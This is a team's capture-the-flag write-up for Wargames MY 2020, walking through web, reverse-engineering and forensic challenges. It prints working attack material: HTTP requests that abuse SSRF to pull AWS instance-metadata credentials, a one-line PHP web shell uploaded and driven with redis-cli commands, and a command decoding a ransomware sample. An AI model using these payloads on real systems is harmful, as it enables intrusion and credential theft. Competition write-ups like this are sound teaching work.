# Wargames MY 2020

We finished 2nd place in the competition, and i would like to thank my teammate for a fun journey together.

For a full writeup (opens new window)
kaitorque's writeup (opens new window)
Member:
- h0j3n (LinkedIn (opens new window), Github (opens new window), Twitter (opens new window))
- kaitorque (LinkedIn (opens new window), Github (opens new window), Twitter (opens new window))
# Category : Web
# DankDebrid

host dankdebrid.wargames.my
dankdebrid.wargames.my has address 3.93.201.11
We can confirm that this server is running by aws ec2, using nslookup. This is quite useful since we can narrow down our scope and try to focus on AWS penetration testing later on.
nslookup 3.93.201.11
11.201.93.3.in-addr.arpa name = ec2-3-93-201-11.compute-1.amazonaws.com.
Authoritative answers can be found from:
Continuing with our enumerations, up next of course, directory scanning to take a look what directories that the server has to offer to us.
dirsearch -u http://dankdebrid.wargames.my -e jsp,js
_|. _ _ _ _ _ _|_ v0.4.0
(_||| _) (/_(_|| (_| )
Extensions: js, jsp | HTTP method: GET | Threads: 20 | Wordlist size: 7626
Error Log: /opt/dirsearch/logs/errors-20-12-06_22-06-16.log
Target: http://dankdebrid.wargames.my/
Output File: /opt/dirsearch/reports/dankdebrid.wargames.my/_20-12-06_22-06-17.txt
[22:06:17] Starting:
[22:06:26] 403 - 564B - //.htaccess.bak1
[22:06:26] 403 - 564B - //.htaccess.sample
[22:06:26] 403 - 564B - //.htaccess.save
[22:06:26] 403 - 564B - //.htaccess.orig
[22:06:26] 403 - 564B - //.htaccessBAK
[22:06:26] 403 - 564B - //.htaccessOLD
[22:06:26] 403 - 564B - //.html
[22:06:26] 403 - 564B - //.htaccessOLD2
[22:06:26] 403 - 564B - //.htm
[22:06:26] 403 - 564B - //.httr-oauth
[22:06:37] 200 - 0B - //Admin.jsp
[22:06:51] 200 - 0B - //admin.jsp
[22:06:51] 403 - 564B - //admin/.htaccess
[22:07:01] 403 - 564B - //administrator/.htaccess
[22:07:05] 403 - 564B - //app/.htaccess
[22:07:16] 302 - 2B - //dashboard.jsp -> error.jsp
[22:07:21] 200 - 25B - //error.jsp
[22:07:24] 200 - 122KB - //favicon.ico
[22:07:27] 200 - 0B - //includes/
[22:07:27] 301 - 178B - //includes -> http://dankdebrid.wargames.my/includes/
[22:07:28] 200 - 2KB - //index.jsp
[22:07:28] 200 - 4B - //index.html
[22:07:32] 200 - 0B - //log.jsp
[22:07:33] 200 - 0B - //login.jsp
[22:07:48] 200 - 0B - //register.jsp
[22:07:55] 301 - 178B - //style -> http://dankdebrid.wargames.my/style/
[22:07:57] 301 - 178B - //test -> http://dankdebrid.wargames.my/test/
[22:07:57] 403 - 564B - //test/
Task Completed
If we go to /index.jsp we are greeted by a homepage

Try to login into the system, and check the response on burp we get

We also got some hint in the bottom of the response

If we take a look carefully, we can see <form> in the response, we can see that there is a functionality that allow us to download video from a inputted url. Its a nice feature but this is however could lead to P2 severity bug according to bugcrowd's (opens new window) VRT. Take note on that so we can craft our request for the exploit.
<form action="transfer-download.jsp" method="post">
<div class="form_settings">
<p><span>URL</span><input class="contact" type="text" maxlength="150" placeholder="https://example.com/movie.mp4" name="transferURL" /></p>
<p style="padding-top: 15px"><span> </span><input class="submit" type="submit" name="submit_URL" value="Download" /></p>
</div>
</form>
Before we go further on our crafted exploit, let us understand how it works.
# Server Side Request Forgery (SSRF)
SSRF is a web security vulnerability that allows an attacker to make a request into the internal host/file in the infrastructure. For example, assume that you have a local REST API in your local network and you didnt expose it to the internet, however, your server that you exposed on the internet able to hit any of your endpoint internally. Successful SSRF can able to make request to your internal endpoint and perform unwanted actions or even arbitrary command.
Some useful report related to SSRF:
Now that is out of the way, lets craft our payload.
Since we know that we are dealing with AWS service EC2, we can be sure that there are internal metadata and user data instance internally. Here AWS Documentation (opens new window) that explains more detailed on that matter.
Our malicious request would look like this.
POST /transfer-download.jsp HTTP/1.1
Host: dankdebrid.wargames.my
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://dankdebrid.wargames.my
Connection: close
Referer: http://dankdebrid.wargames.my/index.jsp
Cookie: __cfduid=d98ce4e7fe91a48f90f317f5481bc2bf21607097641
Upgrade-Insecure-Requests: 1
transferURL=http://2852039166//latest/meta-data/iam/security-credentials/&submit_URL=Download
In the burp response, we get something like this
<div class="accordion_child">
<p>s3_readonly_wgmy2020</p>
</div>
Now that we know their security-credentials, we can expand our payload into this:
POST /transfer-download.jsp HTTP/1.1
Host: dankdebrid.wargames.my
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://dankdebrid.wargames.my
Connection: close
Referer: http://dankdebrid.wargames.my/index.jsp
Cookie: __cfduid=d98ce4e7fe91a48f90f317f5481bc2bf21607097641
Upgrade-Insecure-Requests: 1
transferURL=http://2852039166//latest/meta-data/iam/security-credentials/s3_readonly_wgmy2020&submit_URL=Download
Looking at the response, now we have AccessKeyId and SecretAccessKey to leverage our exploitation.
{
"Code" : "Success",
"LastUpdated" : "2020-12-06T12:12:25Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "<REDACTED>",
"SecretAccessKey" : "<REDACTED",
"Token" : "<REDACTED>",
"Expiration" : "2020-12-06T18:31:00Z"
}
We can now access to their assets using theses two fruits by using aws-cli in our terminal. But first we need to tell aws-cli that we want to access to their assets, hence, those two keys come to play.
aws configure
AWS Access Key ID [****************34OX]: <REDACTED>
AWS Secret Access Key [****************p2gy]: <REDACTED>
Default region name [ap-southeast-1]:
Default output format [json]:
Now, initially we did not know which region is the server hosted in AWS, but that would not be such a problem since we can refer to aws region list (opens new window). We could try it one by one but knowing that wargames is hosted in Malaysia, a Singapore serverap-southeast-1 is the most reasonable choice to go.
As we mentioned above on the little hint that the organizer gave us, we can straightup retrieve the file with aws-cli command
aws s3 cp s3://wgmy2020-1/secret.txt ./
Finally, we got the flag
wgmy{fce704324cced786680972eeafd406da}
# Jika Kau Fikirkan Kau Boleh

We starting this challenge by enumerating directory, as a result, we get:
GET 200 OK http://s.wargames.my:20041/
GET 403 Forbidden http://s.wargames.my:20041/.html
GET 403 Forbidden http://s.wargames.my:20041/.hta.php
GET 403 Forbidden http://s.wargames.my:20041/.hta.html
GET 403 Forbidden http://s.wargames.my:20041/.hta.txt
GET 403 Forbidden http://s.wargames.my:20041/.htaccess
GET 403 Forbidden http://s.wargames.my:20041/.htaccess.php
GET 403 Forbidden http://s.wargames.my:20041/.htaccess.html
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd
GET 403 Forbidden http://s.wargames.my:20041/.htaccess.txt
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd.txt
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd.html
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd.php
GET 403 Forbidden http://s.wargames.my:20041/.hta
GET 301 Moved Permanently http://s.wargames.my:20041/flag
=> http://s.wargames.my/flag/
GET 200 OK http://s.wargames.my:20041/index.php
GET 200 OK http://s.wargames.my:20041/index.php
GET 200 OK http://s.wargames.my:20041/phpinfo.php
GET 200 OK http://s.wargames.my:20041/phpinfo.php
GET 200 OK http://s.wargames.my:20041/robots.txt
GET 200 OK http://s.wargames.my:20041/robots.txt
GET 403 Forbidden http://s.wargames.my:20041/server-status
GET 301 Moved Permanently http://s.wargames.my:20041/uploads
=> http://s.wargames.my/uploads/
By using curl to on http://s.wargames.my:20041/uploads, we can view its source code on how the upload function is mounted
//GET LANG CODE [164/464]
var pageRequest = window.location.search;
var img = pageRequest.substring(pageRequest.indexOf("&p=")+3,pageRequest.length);
var getid = pageRequest.substring(pageRequest.indexOf("?id=")+4,pageRequest.indexOf("&p="));
if(img != ""){
if(img.indexOf(".pdf") > -1){
if(screen.width >= 720){
$("#preview").html('<iframe id="pdf_preview" src="'+img+'" allowtransparency="true" frameborder="0" allowfullscreen></iframe>');
}else{
$("#preview").html('You\'ve uploaded a PDF file. Please click <a href="'+img+'" target="_blank">here</a> to view it.');
}
}else{
$("#preview").html('<img src="" id="pre_view" name="pre_view">');
$("#pre_view").attr('src',''+img);
$('#pre_view').shadow('raised');
}
/*$("#confirm_button").val('Change');
$("#back_button").val('No Change');*/
}else{
$("#preview").html('<img src="" id="pre_view" name="pre_view">');
$("#pre_view").attr('src','http://placehold.it/640x480&text=No Image/PDF available');
$("#confirm_button").val('Upload');
$("#back_button").val('Cancel');
}
if (self != parent && window.postMessage) {
$(window).on('load', function() {
var targetHost = 'http://localhost',
updateInt = 250,
containerId = 'box1',
container = document.getElementById(containerId),
targetWin = parent;
if (container) {
setInterval(function () {
targetWin.postMessage(container.offsetHeight, targetHost);
}, updateInt);
}
});
}
We can use curl to upload remote code execution(rce) request
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
curl --location --request POST 'http://s.wargames.my:20041/uploads/upload.php?t=s3ns3.php' \
--form 'q=@"/Users/s3ns3/Downloads/s3ns3.php"'
and the response:
<script language="javascript">
var targetHost = "http://localhost";
window.parent.postMessage("upload_ready", targetHost);
</script>{"files":["sukahatila\/s3ns3.php"]}
Success! Now we can do fun stuff in burp


Great! We have remote code execution now. We can try to spawn out reverse shell but navigating through burp is easier plus we were lazy that time.
Next, if we ls in the / directory we can see file called start.sh, and if we look into that file, we get:
#!/bin/bash
redis-server --daemonize yes
KEY=`head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13`
FLAG=`cat /flag`
redis-cli set $KEY "$FLAG"
echo "Hey I just met you, this is crazy, but this is not the flag, really :)" > /flag
/usr/sbin/apache2ctl -D FOREGROUND
The script means that the key was randomly generated to store into the redis database and our flag is store within it. So, to obtain the flag we need the key first.
By running a command redis-cli KEYS * we could get all list of keys in the redis database.
GET /uploads/sukahatila/s3ns3.php?cmd=redis-cli+KEYS+'*' HTTP/1.1
Host: 178.62.233.224:31337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
as of the response, we get:
xbAhcqH4thzpk
Now, we can simply get the key data to obtain the flag:
GET /uploads/sukahatila/s3ns3.php?cmd=redis-cli+GET+'xbAhcqH4thzpk' HTTP/1.1
Host: 178.62.233.224:31337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
wgmy{9fdfa2a48a1aa104166faa4026c61eb2}
# Category: RE
# Babyrev

For this reversing challenge, we decompile it using Ghidra, we got a block of code like this.

We can get the value inside SHUFFLE just double click the variable.

We also can get the value of Xor

If we take a look at the code below, we can see that ss which after rename and get from the input after XOR and change by SHIFT are compare with 159 because it specifies 3 which could mean substr("abcdefg","abc***",3). Which means it will compare with the index 27 with 159.

So probably our password would look like this.
***************************159**
So we need a script that can make the cross-reference for us to compare the previous and new output.
For the exploit, we made 2 scripts to compare. One is doing it manually, the latter is automated
Manual
SHUFFLE = [0x7, 0x4, 0x15, 0x12, 0x1D, 0x13, 0x1B, 0x8, 0x1F, 0x16, 0x0F, 0x6, 0x0A, 0x19, 0x18, 0x11, 0x1, 0x3, 0x2, 0x17, 0x0D, 0x14, 0x5, 0x0, 0x0C,0x1C, 0x0B, 0x1A, 0x0E, 0x1E, 0x9, 0x10]
XOR = [0x56,0x6,0x6,0x1,0x9,0x52,0x6,0x3,0x51,0x4,0x57,0x7,0x52,0x7,0x50,0x6,0x6,0x6,0x7,0x54,0x57,0x56,0x2,0x55,0x6,0x1,0x52,0x53,0x54,0xf,0x54,0x3]
# cprM&Dj s'`9})tDbd,9#d kB>159>r
# cpr0&7j s'`9})tDbd,9#d k4>159>r
# cpr0&7j s'`9}dtD6d,9#5 k4>159>r
# cpr0&7j sa`9}dtD6d,9c5 b4>159>r
# cer0&7j sa`9}2tD6d,9c5 b4>1595r
# cer0&7j sa`9}2tc6d,ec5 b4>15:5r
s = 'Zec0e7ghiakld2a6qrst5cwxbzb1595E'
#s = ' a b 6'
ss = [''] * 32
for i in range(len(s)):
ss[i] = s[SHUFFLE[i]]
ss[i] = chr(ord(ss[i]) ^ XOR[i])
print(''.join(ss))
Automated
SHUFFLE = [0x7, 0x4, 0x15, 0x12, 0x1D, 0x13, 0x1B, 0x8, 0x1F, 0x16, 0x0F, 0x6, 0x0A, 0x19, 0x18, 0x11, 0x1, 0x3, 0x2, 0x17, 0x0D, 0x14, 0x5, 0x0, 0x0C,0x1C, 0x0B, 0x1A, 0x0E, 0x1E, 0x9, 0x10]
XOR = [0x56,0x6,0x6,0x1,0x9,0x52,0x6,0x3,0x51,0x4,0x57,0x7,0x52,0x7,0x50,0x6,0x6,0x6,0x7,0x54,0x57,0x56,0x2,0x55,0x6,0x1,0x52,0x53,0x54,0xf,0x54,0x3]
s=list('1234067890qwerayuiopasdfg4b1596c')
prev=list('n3un0"7:2`.0#o7o4242%74dc4%159dv')
ss=[''] * 32
while s != ss:
for i in range(len(s)):
ss[i] = s[SHUFFLE[i]]
ss[i] = chr(ord(ss[i]) ^ XOR[i])
for i in range(len(ss)):
if prev == ss:
print(prev)
print(ss)
print('s:', ''.join(s))
s = ss
break
if prev[i] != ss[i]:
print(i,prev[i], ss[i])
s[i] = ss[i]
print()
prev = list(ss)
print(''.join(s))
Looking at the script. We need to update the previous list after we generate new output. The initial list does not matter as long as after first output, 159 is exist in those last digits.
We are not fully understand how it really works, so after some time doing it manually. The output that produced seems repetitive.
76420dpabbe073a20436d2fb14b15963
76420d7abbew73a20436d2fb14b15963
76420d7abbe073a20436d2fb14%15963
76420d7abbe073a20436d2fb14bv5963
We tried submitting all of this but all was wrong. But after carefully check the difference between those four, the third flag is correct one after we changed % to b
and the flag was wgmy{76420d7abbe073a20436d2fb14b15963}
# Category: Forensic — Lord Kiske’s Server
# Introduction

Download the ova file and we write a simple python script to get the SHA256 of lordkiske-server.ova
import hashlib
with open('lordkiske-server.ova', 'rb') as f:
bytes = f.read()
readable_hash = hashlib.sha256(bytes).hexdigest()
print('wgmy{' + readable_hash + '}')
Flag is wgmy{c4ea7f5c3a23990844ea6518c02740c66c4c8a605314f3bd9038f7ebfa7b9911}
# [Analysis] Attacker’s IP Address

Once we have the ova , we tried to open using Oracle Virtual Box and it works! Since the challenge asking for the attacker’s IP Address. First, we can see that all files are encrypted with .durian extension in /var/www/html

Let’s check any PHP files that are note encrypted maybe that we can find something.
find /var/www/html/ -type f -iname "*.php" 2>/dev/null
We tried to grep anyone who trying to reach one of these files in /var/log/apache2/acccess.log and found the attacker's IP.
cat /var/log/apache2/access.log | grep -E "we.php|b404.php|musangkeng.php"

Go to CyberChef and encrypt IP 172.128.31.78 to MD5 hash. And the flag is wgmy{0941b6865b5c056c9bbb0825e1beb8e9}
# [Analysis] Hash of Webshell

Since we have found several files without .durian extension in /var/www/html/wp-content/uploads/. One of these surely is the web shell. Since the file we.php starts with character w , we assume that this is the web shell.

To reduce the scope, we check again /var/log/apache2/access.log and see that the attacker first trying to POST and GET the file like below.

Calculate the sha1sum of we.php and wrap with wgmy{} we get the flag wgmy{96894e24bf860dd85fbdcc7fbfbad203108489d1}
# [Analysis] Path of Webshell

We have the path and the filename already, so just go to Cyberchef and encrypt /var/wwww/html/wp-content/uploads/we.php to MD5.
and we got the flag wgmy{cc93f2436a9fdc6f19c1fa8bd865f8f3}
# [Analysis] Hash of Ransomware

The file b404.php is encoded with base64. Remove all of the php tags and get only the base64. Use the command below to decode.
cat b404.php | tr "\n" " " | sed 's/ //g' | base64 -d
We can see the php code that the attacker used to encrypt all of the victim’s files. Thus, this is the ransomware used by the attacker.

Calculate the sha1sum of b404.php and wrap with wgmy{} we get wgmy{ba235cdbd9eb05082aa6e15cec762465884256f9}
# [Analysis] Location of ransomware

We have the path and the filename already so just go to Cyberchef and encrypt /var/www/html/wp-content/uploads/b404.php to MD5.
and we got the flag wgmy{86051201744543abeda8b8efd0933e98}
# [Analysis] CnC Hostname

We can try to check deep inside the b404.php and found out one of the POST request has been made to musangkeng.wargames.my

Encrypt musangkeng.wargames.my to MD5 and wrap with wgmy{} we get the flag wgmy{d7357e55e21847601d4eacb01fe13313}